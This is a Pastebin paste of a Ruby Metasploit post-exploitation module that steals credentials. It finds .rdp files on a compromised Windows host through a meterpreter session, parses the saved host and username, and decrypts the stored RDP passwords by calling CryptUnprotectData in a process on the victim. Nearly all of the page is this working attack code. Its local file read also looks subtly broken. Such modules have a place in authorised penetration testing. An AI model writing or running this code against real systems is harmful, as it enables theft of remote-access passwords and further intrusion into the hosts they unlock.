Advertisement
illwill

Metasploit RDP Module

Feb 2nd, 2013
365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 3.91 KB | None | 0 0
  1.  
  2.  
  3. ##
  4. # $Id: enum_rdp_pwd.rb 13401 2011-08-02 02:17:54Z sinn3r $
  5. ##
  6.  
  7.  
  8. ##
  9. # This file is part of the Metasploit Framework and may be subject to
  10. # redistribution and commercial restrictions. Please see the Metasploit
  11. # Framework web site for more information on licensing and terms of use.
  12. # http://metasploit.com/framework/
  13. ##
  14.  
  15.  
  16. require 'msf/core'
  17. require 'rex'
  18. require 'msf/core/post/windows/registry'
  19.  
  20. class Metasploit3 < Msf::Post
  21.     include Msf::Post::Windows::Registry
  22.  
  23.     def initialize(info={})
  24.         super( update_info( info,
  25.             'Name'          => 'Windows Gather RDP Saved Password Extraction',
  26.             'Description'   => %q{ This module finds saved login credentials
  27.                         for the Remote Desktop client for windows.
  28.                         It finds the saved passwords and decrypts
  29.                         them.},
  30.             'License'       => MSF_LICENSE,
  31.             'Author'        => [ 'illwill <illwill@illmob.org>'],
  32.             'Platform'      => [ 'windows' ],
  33.             'SessionTypes'  => [ 'meterpreter' ]
  34.         ))
  35.     end
  36.  
  37.     def run
  38.             prepare_railgun
  39.            
  40.            
  41.             docs = registry_getvaldata("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'Personal')
  42.             print_status("Searching for *.rdp files in #{docs}")
  43.             recurse = false
  44.             glob = "*.rdp"
  45.            
  46.            
  47.       files = client.fs.file.search( docs, glob, recurse )
  48.        
  49.         if( not files.empty? )
  50.             files.each do | file |
  51.             rdpfile = ("#{file['path']}\\#{file['name']}")
  52.             check_rdp rdpfile
  53.             end
  54.         else
  55.             print_status( "No files matching your search were found." )
  56.         end
  57.  
  58.     end
  59.    
  60.    
  61.     def check_rdp(path)
  62.         filename = path
  63.         found    = session.fs.file.stat(filename) rescue nil
  64.          return if not found
  65.          print_line("\r")
  66.         print_status("Found: #{filename}")
  67.        
  68.         output = ::File.open(filename)
  69.            output.readlines.each do |line|
  70.            hex_str = line.gsub("\x00", "")   #strip the zeroes
  71.            
  72.             if hex_str.match(/^full address:s:.*/)
  73.                 third = hex_str.split(':')[2]
  74.                 print_status("Host: " + third.rstrip)
  75.                 third = ""
  76.             end
  77.            
  78.             if hex_str.match(/^username:s:.*/)
  79.                 third = hex_str.split(':')[2]
  80.                 print_status("User: " + third.rstrip)
  81.                 third = ""
  82.             end
  83.            
  84.             if hex_str.match(/^password 51:b:.*/)
  85.                 third = hex_str.split(':')[2]
  86.                 rdppass = (third.rstrip)
  87.                 rdppass = [rdppass].to_a.pack("H*")
  88.                 pass = decrypt_data(rdppass)
  89.                 hex_str = pass.unpack('v*').pack('C*')
  90.                 print_status("Pass: " + hex_str.rstrip)
  91.                 third = ""
  92.             end
  93.  
  94.         end
  95.                  
  96.          
  97.     end
  98.                
  99.  
  100.  
  101.     def prepare_railgun
  102.         rg = session.railgun
  103.         if (!rg.get_dll('crypt32'))
  104.             rg.add_dll('crypt32')
  105.         end
  106.  
  107.         if (!rg.crypt32.functions["CryptUnprotectData"])
  108.             rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
  109.                     ["PBLOB","pDataIn", "in"],
  110.                     ["PWCHAR", "szDataDescr", "out"],
  111.                     ["PBLOB", "pOptionalEntropy", "in"],
  112.                     ["PDWORD", "pvReserved", "in"],
  113.                     ["PBLOB", "pPromptStruct", "in"],
  114.                     ["DWORD", "dwFlags", "in"],
  115.                     ["PBLOB", "pDataOut", "out"]
  116.                 ])
  117.         end
  118.     end
  119.  
  120.     def decrypt_data(data)
  121.         rg = session.railgun
  122.         pid = session.sys.process.open.pid
  123.         process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
  124.  
  125.         mem = process.memory.allocate(1350)
  126.         process.memory.write(mem, data)
  127.  
  128.         if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
  129.  
  130.             addr = [mem].pack("V")
  131.             len = [data.length].pack("V")
  132.             ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
  133.             len, addr = ret["pDataOut"].unpack("V2")
  134.  
  135.         else
  136.  
  137.             addr = [mem].pack("Q")
  138.             len = [data.length].pack("Q")
  139.             ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
  140.             len, addr = ret["pDataOut"].unpack("Q2")
  141.  
  142.         end
  143.  
  144.         return "" if len == 0
  145.         decrypted = process.memory.read(addr, len)
  146.         return decrypted
  147.     end
  148.        
  149. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement